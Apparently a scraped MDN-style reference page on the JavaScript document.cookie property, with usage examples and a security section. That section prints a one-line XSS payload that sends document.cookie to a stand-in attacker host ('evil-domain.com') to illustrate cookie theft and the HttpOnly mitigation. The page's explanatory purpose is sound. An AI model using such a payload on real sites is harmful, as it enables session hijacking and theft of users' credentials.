The Document property cookie lets you read and write cookies associated with the document. It serves as a getter and setter for the actual values of the cookies. allCookies = document.cookie;
In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact, RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this. document.cookie = newCookie;
In the code above, newCookie is a string of form key=value. Note that you can only set/update a single cookie at a time using this method. Consider also that: Note: The domain must match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored. Warning: When user privacy is a concern, it's important that any
web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe. Note: The dash is considered part of the prefix. Note: These flags are only settable with the secure attribute. Syntax
Read all cookies
accessible from this location
Write a new cookie
Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.
Examples
Example #1: Simple usage
// Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "name=oeschger; SameSite=None; Secure"; document.cookie = "favorite_food=tripe; SameSite=None; Secure"; function showCookies() { const output = document.getElementById('cookies') output.textContent = `> ${document.cookie}` } function clearOutputCookies() { const output = document.getElementById('cookies') output.textContent = '' }
<button title="showCookies()">Show cookies</button> <button title="clearOutputCookies()">Clear</button> <div> <code id="cookies"></code> </div>
Example #2: Get a sample cookie named test2
// Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "test1=Hello; SameSite=None; Secure"; document.cookie = "test2=World; SameSite=None; Secure"; const cookieValue = document.cookie .split('; ') .find((row) => row.startsWith('test2=')) ?.split('=')[1]; function showCookieValue() { const output = document.getElementById('cookie-value') output.textContent = `> ${cookieValue}` } function clearOutputCookieValue() { const output = document.getElementById('cookie-value') output.textContent = '' }
<button title="showCookieValue()">Show cookie value</button> <button title="clearOutputCookieValue()">Clear</button> <div> <code id="cookie-value"></code> </div>
Example #3: Do something only once
In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.
function doOnce() { if (!document.cookie.split('; ').find((row) => row.startsWith('doSomethingOnlyOnce'))) { // Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure"; const output = document.getElementById('do-once') output.textContent = '> Do something here!' } } function clearOutputDoOnce() { const output = document.getElementById('do-once') output.textContent = '' }
<button title="doOnce()">Only do something once</button> <button title="clearOutputDoOnce()">Clear</button> <div> <code id="do-once"></code> </div>
Example #4: Reset the previous cookie
function resetOnce() { // Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure"; const output = document.getElementById('reset-once') output.textContent = '> Reset!' } function clearOutputResetOnce() { const output = document.getElementById('reset-once') output.textContent = '' }
<button title="resetOnce()">Reset only once cookie</button> <button title="clearOutputResetOnce()">Clear</button> <div> <code id="reset-once"></code> </div>
Example #5: Check a cookie existence
// Note that we are setting `SameSite=None;` in this example because the example // needs to work cross-origin. // It is more common not to set the `SameSite` attribute, which results in the default, // and more secure, value of `SameSite=Lax;` document.cookie = "reader=1; SameSite=None; Secure"; function checkACookieExists() { if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) { const output = document.getElementById('a-cookie-existence') output.textContent = '> The cookie "reader" exists' } } function clearOutputACookieExists() { const output = document.getElementById('a-cookie-existence') output.textContent = '' }
<button title="checkACookieExists()">Check a cookie exists</button> <button title="clearOutputACookieExists()">Clear</button> <div> <code id="a-cookie-existence"></code> </div>
Example #6: Check that a cookie has a specific value
function checkCookieHasASpecificValue() { if (document.cookie.split(';').some((item) => item.includes('reader=1'))) { const output = document.getElementById('a-specific-value-of-the-cookie') output.textContent = '> The cookie "reader" has a value of "1"' } } function clearASpecificValueOfTheCookie() { const output = document.getElementById('a-specific-value-of-the-cookie') output.textContent = '' }
<button title="checkCookieHasASpecificValue()"> Check that a cookie has a specific value </button> <button title="clearASpecificValueOfTheCookie()">Clear</button> <div> <code id="a-specific-value-of-the-cookie"></code> </div>
Security
It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden <iframe> element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.
Cookies are often used in web applications to identify a user and their authenticated session. Stealing a cookie from a web application leads to hijacking the authenticated user's session. Common ways to steal cookies include using social engineering or by exploiting a cross-site scripting (XSS) vulnerability in the application -
(new Image()).src = `//www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Read more about Cookies and Security.
Notes
- Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
- You can delete a cookie by updating its expiration time to zero.
- Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.
- RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.
The reason for the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):
The server tells the client to store a cookie
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here]
The client sends back to the server its cookies previously stored
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
Specifications
HTML Standard # dom-document-cookie |
Browser compatibility
BCD tables only load in the browser